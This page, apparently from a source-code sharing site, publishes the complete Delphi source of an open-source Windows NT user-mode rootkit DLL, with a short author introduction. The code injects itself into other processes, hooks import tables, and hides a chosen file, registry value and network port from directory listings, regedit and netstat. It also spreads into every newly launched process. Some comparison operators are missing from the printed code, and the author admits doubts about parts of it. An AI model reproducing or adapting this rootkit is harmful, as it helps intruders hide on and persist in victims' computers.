| Delphi NT RootKit |
|
|
|
| Códigos Fontes | ||||
|
Code from : Rezmond, Aphex (thanks to both) Rezmond : www.projectbionet.com Aphex : iamaphex.cjb.com Operating System : Tested on XP Pro - Aimed at NT based OS { DELPHI NT ROOTKIT -------------------------- *********************************************************** Version : 0.1 Author : ~LOM~ Sponsor : LOKI Website : www.lommage.co.uk Code from : Rezmond, Aphex (thanks to both) Rezmond : www.projectbionet.com Aphex : iamaphex.cjb.com Operating System : Tested on XP Pro - Aimed at NT based OS .: Disclaimer :. - ------------------ IF you use this source then you must credit ~LOM~, Rezmond and Aphex. You can freely use this source in NON-Commercial applications. *********************************************************** Firstly I would like to thank Rezmond and Aphex for both providing really good help articles on Dll Injecting under Win NT (Rezmond) - and Aphex for hooking code and manipulating a Processes IAT Table. I think this is probably the first open source NT Root Kit for delphi, and I think that in itself deserves a beer ;) 1.) What we will learn How to inject a dll into a foreign process and copy over data from one process to another as NT doesn't have memory sharing (we will be using WriteProcessMemory and VirtualAllocEx) How to copy over a procedure and execute it using CreateRemoteThread! (only available under NT) How to patch a foreign processes IAT table and redirect any api calls to our dll for processing first The benefits for Process hooking under Windows NT is beneficial from two aspects - GDI hooking, API Hooking Both of these is a fair enough reason to provide commented source as we can show the true exploitable nature of Windows AND to hook the windows GDI for realtime screen grabbing. Written by ~LOM~ *********************************************************** } library Hook; uses Windows; type PShellExecuteInfoA = ^TShellExecuteInfoA; PShellExecuteInfo = PShellExecuteInfoA; _SHELLEXECUTEINFOA = record cbSize: DWORD; fMask: ULONG; Wnd: HWND; lpVerb: PAnsiChar; lpFile: PAnsiChar; lpParameters: PAnsiChar; lpDirectory: PAnsiChar; nShow: Integer; hInstApp: HINST; lpIDList: Pointer; lpClass: PAnsiChar; hkeyClass: HKEY; dwHotKey: DWORD; hIcon: THandle; hProcess: THandle; end; TShellExecuteInfoA = _SHELLEXECUTEINFOA; PShellExecuteInfoW = ^TShellExecuteInfoW; _SHELLEXECUTEINFOW = record cbSize: DWORD; fMask: ULONG; Wnd: HWND; lpVerb: PWideChar; lpFile: PWideChar; lpParameters: PWideChar; lpDirectory: PWideChar; nShow: Integer; hInstApp: HINST; lpIDList: Pointer; lpClass: PWideChar; hkeyClass: HKEY; dwHotKey: DWORD; hIcon: THandle; hProcess: THandle; end; TShellExecuteInfoW = _SHELLEXECUTEINFOW; //record for injecting TInjectDllData = record pLoadLibrary : pointer; //points to the LoadLibrary Procedure :p lib_name : pointer; //points to OUR dll lib name (eg c:\mydll.dll) end; //record for Code patching!!! TImportFunction = packed record JumpInstruction: Word; AddressOfPointerToFunction: ^Pointer; end; //record for Code patching!!! TImageImportEntry = record Characteristics: dword; TimeDateStamp: dword; MajorVersion: word; MinorVersion: word; Name: dword; LookupTable: dword; end; {$R *.res} Const shell32 = 'shell32.dll'; var DefaultDll: String; FilenameToHide: String = 'Something.exe'; RegValueToHide: String = 'Hello'; PortToHide: String = '80'; //callback for file hiding FindNextFileANextHook: function (hFindFile: THandle; var lpFindFileData: TWIN32FindDataA): BOOL; stdcall; FindNextFileWNextHook: function (hFindFile: THandle; var lpFindFileData: TWIN32FindDataW): BOOL; stdcall; //call back for registry hiding RegEnumValueANextHook : function (hKey: HKEY; dwIndex: DWORD; lpValueName: PChar; var lpcbValueName: DWORD; lpReserved: Pointer; lpType: PDWORD; lpData: PByte; lpcbData: PDWORD): Longint; stdcall; RegEnumValueWNextHook : function (hKey: HKEY; dwIndex: DWORD; lpValueName: PWideChar; var lpcbValueName: DWORD; lpReserved: Pointer; lpType: PDWORD; lpData: PByte; lpcbData: PDWORD): Longint; stdcall; //netstat hiding FormatMessageANextHook: function(dwFlags: DWORD; lpSource: Pointer; dwMessageId: DWORD; dwLanguageId: DWORD; lpBuffer: PAnsiChar; nSize: DWORD; Arguments: Pointer): DWORD; stdcall; //callback for process cloaking CreateProcessANextHook: function (appName, cmdLine: pchar; processAttr, threadAttr: PSecurityAttributes; inheritHandles: bool; creationFlags: dword; environment: pointer; currentDir: pchar; const startupInfo: TStartupInfo; var processInfo: TProcessInformation) : bool; stdcall; CreateProcessWNextHook: function (appName, cmdLine: pwidechar; processAttr, threadAttr: PSecurityAttributes; inheritHandles: bool; creationFlags: dword; environment: pointer; currentDir: pwidechar; const startupInfo: TStartupInfo; var processInfo: TProcessInformation) : bool; stdcall; WinExecNextHook: function (cmdLine: pchar; show: dword) : dword; stdcall; ShellExecuteANextHook: function (hWnd: HWND; Operation, FileName, Parameters, Directory: PChar; ShowCmd: Integer): HINST; stdcall; ShellExecuteWNextHook: function (hWnd: HWND; Operation, FileName, Parameters, Directory: PWideChar; ShowCmd: Integer): HINST; stdcall; ShellExecuteExANextHook: function (lpExecInfo: PShellExecuteInfoA):BOOL; stdcall; ShellExecuteExWNextHook: function (lpExecInfo: PShellExecuteInfoW):BOOL; stdcall; function ShellExecuteA(hWnd: HWND; Operation, FileName, Parameters, Directory: PAnsiChar; ShowCmd: Integer): HINST; stdcall; external shell32 name 'ShellExecuteA' function ShellExecuteW(hWnd: HWND; Operation, FileName, Parameters, Directory: PWideChar; ShowCmd: Integer): HINST; stdcall; external shell32 name 'ShellExecuteW' function ShellExecuteExA(lpExecInfo: PShellExecuteInfoA):BOOL; stdcall; external shell32 name 'ShellExecuteExA'; function ShellExecuteExW(lpExecInfo: PShellExecuteInfoW):BOOL; stdcall; external shell32 name 'ShellExecuteExW'; function LowerCase(const S: string): string; var Ch: Char; L: Integer; Source, Dest: PChar; begin L := Length(S); SetLength(Result, L); Source := Pointer(S); Dest := Pointer(Result); while L 0 do begin Ch := Source^; if (Ch >= 'A') and (Ch <= 'Z') then Inc(Ch, 32); Dest^ := Ch; Inc(Source); Inc(Dest); Dec(L); end; end; //Procedure to copy to foreign process procedure InjectedProc(parameter: Pointer); stdcall; var InjectDllData : TInjectDllData; begin InjectDllData := TInjectDllData(parameter^); asm push InjectDllData.lib_name call InjectDllData.pLoadLibrary end; end; //check the exe stub for documentation on here! function InjectDllToTarget(dllName : string; TargetProcessID : DWORD ; code : pointer; CodeSize : integer ): boolean; var InitDataAddr, WriteAddr: pointer; x: Pchar; hProcess, ThreadHandle: Thandle; BytesWritten, TheadID: DWORD; InitData: TInjectDllData; begin Result := False; InitData.pLoadLibrary := GetProcAddress(LoadLibrary('kernel32.dll'), 'LoadLibraryA'); hProcess := OpenProcess( PROCESS_ALL_ACCESS, FALSE, TargetProcessID ); If (hProcess = 0) then exit; InitData.lib_name := VirtualAllocEx(hProcess , 0, length(dllName) + 5 , MEM_COMMIT , PAGE_READWRITE) ; If (InitData.lib_name nil) then WriteProcessMemory(hProcess , InitData.lib_name , pchar(dllName) , length(dllName) , BytesWritten ); InitDataAddr := VirtualAllocEx(hProcess , 0, sizeof(InitData) , MEM_COMMIT , PAGE_READWRITE) ; If (InitDataAddr nil) then WriteProcessMemory(hProcess, InitDataAddr, (@InitData), sizeof(InitData), BytesWritten ); WriteAddr := VirtualAllocEx(hProcess, 0, CodeSize, MEM_COMMIT, PAGE_READWRITE); If (WriteAddr nil) then begin WriteProcessMemory(hProcess, WriteAddr, code, CodeSize, BytesWritten); If BytesWritten = CodeSize then begin ThreadHandle := CreateRemoteThread(hProcess, nil, 0, WriteAddr, InitDataAddr , 0, TheadID); WaitForSingleObject(ThreadHandle, INFINITE); VirtualFreeEx(hProcess, WriteAddr, 0, MEM_RELEASE); Result := True; end; end; VirtualFreeEx(hProcess, InitDataAddr, 0 ,MEM_RELEASE); VirtualFreeEx(hProcess, InitData.lib_name, 0 ,MEM_RELEASE); CloseHandle(hProcess); end; function FunctionAddress(Code: Pointer): Pointer; begin Result := Code; If TImportFunction(Code^).JumpInstruction = 9727 then Result := TImportFunction(Code^).AddressOfPointerToFunction^; end; //This code was contributed by Aphex ;) //to be completely honest im not 100% sure how it works, but for the next //source code release - ill look into it! function HookCode(TargetAddress, NewAddress: Pointer; var OldAddress: Pointer): integer; var HookedModules: String; function HookModule(ImageDosHeader: PImageDosHeader; TargetAddress, NewAddress: Pointer; var OldAddress: Pointer): integer; var Address: Pointer; ImportCode: ^Pointer; BytesWritten: dword; ImageNTHeaders: PImageNTHeaders; ImageImportEntry: ^TImageImportEntry; begin Result := 0; OldAddress := FunctionAddress(TargetAddress); //check the header and see if there is one, if there isn't then exit hook routine If ImageDosHeader.e_magic IMAGE_DOS_SIGNATURE then Exit; //Loads the API headers into ImageNTHeaders ImageNTHeaders := Pointer(integer(ImageDosHeader) + ImageDosHeader._lfanew); //checks if there are API header? (I think) If ImageNTHeaders^.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress = 0 then Exit; //Gets just the API header addresses? (I think) ImageImportEntry := Pointer(dword(ImageDosHeader) + ImageNTHeaders^.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress); //Loops through each API header looking for the name you specified ready to patch! While ImageImportEntry^.Name 0 do begin //If its found then go into If Pos(LowerCase(string(PChar(dword(ImageDosHeader) + ImageImportEntry^.Name))), HookedModules) = 0 then begin //Writes the redirection of API HookedModules := HookedModules + LowerCase(string(PChar(dword(ImageDosHeader) + ImageImportEntry^.Name))); HookModule(Pointer(GetModuleHandle(PChar(dword(ImageDosHeader) + ImageImportEntry^.Name))), TargetAddress, NewAddress, OldAddress); end; //Sets the Address of the Table? ImportCode := Pointer(dword(ImageDosHeader) + ImageImportEntry.LookupTable); While ImportCode^ nil do begin Address := FunctionAddress(ImportCode^); //checks address and writes our one! If Address = OldAddress then WriteProcessMemory(GetCurrentProcess, ImportCode, @NewAddress, SizeOf(dword), BytesWritten); //increment the importcode until it finds the correct address Inc(ImportCode); end; //keep stepping thru each API Header Inc(ImageImportEntry); end; end; begin Result := HookModule(Pointer(GetModuleHandle(nil)), TargetAddress, NewAddress, OldAddress); end; function UnhookCode(NewAddress, OldAddress: Pointer): integer; begin Result := HookCode(NewAddress, OldAddress, NewAddress); end; //--Hooks File listing Api function FindNextFileACallbackProc(hFindFile: THandle; var lpFindFileData: TWIN32FindDataA): BOOL; stdcall; begin Result := FindNextFileANextHook(hFindFile,lpFindFileData); If Lowercase(lpfindfiledata.cFileName) = LowerCase(FilenameToHide) then Result := FindNextFileANextHook(hFindFile, lpFindFileData); end; //--Hooks File listing Api function FindNextFileWCallbackProc(hFindFile: THandle; var lpFindFileData: TWIN32FindDataW): BOOL; stdcall; begin Result := FindNextFileWNextHook(hFindFile,lpFindFileData); If Lowercase(lpfindfiledata.cFileName) = LowerCase(FilenameToHide) then Result := FindNextFileWNextHook(hFindFile, lpFindFileData); end; //--Hooks Registry listing Api function RegEnumValueACallbackProc(hKey: HKEY; dwIndex: DWORD; lpValueName: PChar; var lpcbValueName: DWORD; lpReserved: Pointer; lpType: PDWORD; lpData: PByte; lpcbData: PDWORD): Longint; stdcall; begin Result := RegEnumValueANextHook(hKey, dwIndex, lpValueName, lpcbValueName, lpReserved, lpType, lpData, lpcbData); If lpValueName = RegValueToHide then Result := RegEnumValueANextHook(hKey, dwIndex, lpValueName, lpcbValueName, lpReserved, lpType, lpData, lpcbData); end; function RegEnumValueWCallbackProc(hKey: HKEY; dwIndex: DWORD; lpValueName: PWideChar; var lpcbValueName: DWORD; lpReserved: Pointer; lpType: PDWORD; lpData: PByte; lpcbData: PDWORD): Longint; stdcall; begin Result := RegEnumValueWNextHook(hKey, dwIndex, lpValueName, lpcbValueName, lpReserved, lpType, lpData, lpcbData); If WideCharToString(lpValueName) = RegValueToHide then Result := RegEnumValueWNextHook(hKey, dwIndex, lpValueName, lpcbValueName, lpReserved, lpType, lpData, lpcbData); end; //Hide from netstat function FormatMessageACallback(dwFlags: DWORD; lpSource: Pointer; dwMessageId: DWORD; dwLanguageId: DWORD; lpBuffer: PAnsiChar; nSize: DWORD; Arguments: Pointer): DWORD; stdcall; begin Result := FormatMessageANextHook(dwFlags, lpSource, dwMessageId, dwLanguageId, lpBuffer, nSize, Arguments); if Pos(':' + PortToHide, string(PChar(Pointer(lpBuffer)^))) 0 then Result := 0; end; //hooks file opening function CreateProcessACallbackProc(appName, cmdLine: pchar; processAttr, threadAttr: PSecurityAttributes; inheritHandles: bool; creationFlags: dword; environment: pointer; currentDir: pchar; const startupInfo: TStartupInfo; var processInfo: TProcessInformation) : bool; stdcall; begin Result := CreateProcessANextHook(appName, cmdLine, processAttr, threadAttr, inheritHandles, creationFlags, environment, currentDir, startupInfo, processInfo); //If explorer opens files like regedit or netstat - we can now auto inject our DLL into them hooking their API ;)!!!! //this will now keep injecting and recurring in every process which is ran through the created ones :) InjectDllToTarget(DefaultDll, processInfo.dwProcessId, @InjectedProc, 1000); end; //hooks file opening function CreateProcessWCallbackProc(appName, cmdLine: pwidechar; processAttr, threadAttr: PSecurityAttributes; inheritHandles: bool; creationFlags: dword; environment: pointer; currentDir: pwidechar; const startupInfo: TStartupInfo; var processInfo: TProcessInformation) : bool; stdcall; begin Result := CreateProcessWNextHook(appName, cmdLine, processAttr, threadAttr, inheritHandles, creationFlags, environment, currentDir, startupInfo, processInfo); //If explorer opens files like regedit or netstat - we can now auto inject our DLL into them hooking their API ;)!!!! //this will now keep injecting and recurring in every process which is ran through the created ones :) InjectDllToTarget(DefaultDll, processInfo.dwProcessId, @InjectedProc, 1000); end; //hooks file opening function WinExecCallbackProc(cmdLine: pchar; show: dword) : dword; stdcall; var StartupInfo: TStartUpInfo; ProcessInfo: TProcessInformation; begin //not entirely sure i got this working :p - it *should* work - It will call //the createprocess instead, and inject the dll into the ran process! FillChar(StartupInfo, Sizeof(StartupInfo), #0); StartupInfo.wShowWindow := Show; CreateProcessA(nil, cmdLine, nil, nil, False, CREATE_NEW_CONSOLE or NORMAL_PRIORITY_CLASS, nil, nil, startupInfo, processInfo); end; function ShellExecuteNextACallBack(hWnd: HWND; Operation, FileName, Parameters, Directory: PAnsiChar; ShowCmd: Integer): HINST; stdcall; var StartupInfo: TStartUpInfo; ProcessInfo: TProcessInformation; begin //not entirely sure i got this working :p - it *should* work - It will call //the createprocess instead, and inject the dll into the ran process! FillChar(StartupInfo, Sizeof(StartupInfo), #0); StartupInfo.wShowWindow := ShowCmd; CreateProcessA(nil, FileName, nil, nil, False, CREATE_NEW_CONSOLE or NORMAL_PRIORITY_CLASS, nil, nil, startupInfo, processInfo); end; function ShellExecuteNextWCallBack(hWnd: HWND; Operation, FileName, Parameters, Directory: PWideChar; ShowCmd: Integer): HINST; stdcall; var StartupInfo: TStartUpInfo; ProcessInfo: TProcessInformation; begin //not entirely sure i got this working :p - it *should* work - It will call //the createprocess instead, and inject the dll into the ran process! FillChar(StartupInfo, Sizeof(StartupInfo), #0); StartupInfo.wShowWindow := ShowCmd; CreateProcessA(nil, Pchar(FileName), nil, nil, False, CREATE_NEW_CONSOLE or NORMAL_PRIORITY_CLASS, nil, nil, startupInfo, processInfo); end; function ShellExecuteExACallBack(lpExecInfo: PShellExecuteInfoA):BOOL; stdcall; begin Result := ShellExecuteExANextHook(lpExecInfo); InjectDllToTarget(DefaultDll, lpExecInfo.hProcess, @InjectedProc, 1000); end; function ShellExecuteExWCallBack(lpExecInfo: PShellExecuteInfoW):BOOL; stdcall; begin Result := ShellExecuteExWNextHook(lpExecInfo); InjectDllToTarget(DefaultDll, lpExecInfo.hProcess, @InjectedProc, 1000); end; procedure HandleEvents(reason: integer); begin case reason of DLL_PROCESS_ATTACH: begin //Initiate our hook code - to patch the IAT Table //this will now redirect the api for each of the below //to our own procedure - so we can control them! HookCode(@FindNextFileA, @FindNextFileACallbackProc, @FindNextFileANextHook); HookCode(@FindNextFileW, @FindNextFileWCallbackProc, @FindNextFileWNextHook); HookCode(@RegEnumValueA, @RegEnumValueACallbackProc, @RegEnumValueANextHook); HookCode(@RegEnumValueW, @RegEnumValueWCallbackProc, @RegEnumValueWNextHook); HookCode(@FormatMessageA, @FormatMessageACallBack, @FormatMessageANextHook); HookCode(@CreateProcessA, @CreateProcessACallbackProc, @CreateProcessANextHook); HookCode(@CreateProcessW, @CreateProcessWCallbackProc, @CreateProcessWNextHook); HookCode(@ShellExecuteA, @ShellExecuteNextACallBack, @ShellExecuteANextHook); HookCode(@ShellExecuteW, @ShellExecuteNextWCallBack, @ShellExecuteWNextHook); HookCode(@ShellExecuteExA, @ShellExecuteExACallBack, @ShellExecuteExANextHook); HookCode(@ShellExecuteExW, @ShellExecuteExWCallBack, @ShellExecuteExWNextHook); end; DLL_PROCESS_DETACH: begin //This replaces the old dll's if our dll is uninjected! UnhookCode(@FindNextFileANextHook, @FindNextFileA); UnhookCode(@FindNextFileWNextHook, @FindNextFileW); UnhookCode(@RegEnumValueANextHook, @RegEnumValueA); UnhookCode(@RegEnumValueWNextHook, @RegEnumValueW); UnhookCode(@CreateProcessANextHook, @CreateProcessA); UnhookCode(@CreateProcessWNextHook, @CreateProcessW); UnhookCode(@ShellExecuteANextHook, @ShellExecuteA); UnhookCode(@ShellExecuteWNextHook, @ShellExecuteW); UnhookCode(@ShellExecuteExACallBack, @ShellExecuteExA); UnhookCode(@ShellExecuteExWCallBack, @ShellExecuteExW); end; end; end; function InstParamStr: String; var Path: array[0..MAX_PATH - 1] of Char; begin If IsLibrary then SetString(Result, Path, GetModuleFileName(HInstance, Path, SizeOf(Path))) end; begin //We first get the whereabouts of the dll (eg c:\mydll.dll) DefaultDll := InstParamStr; //we set the dll proc address to the handle events procedure DllProc := @HandleEvents; //we call the handle address procedure! HandleEvents(DLL_PROCESS_ATTACH); end.
|
||||



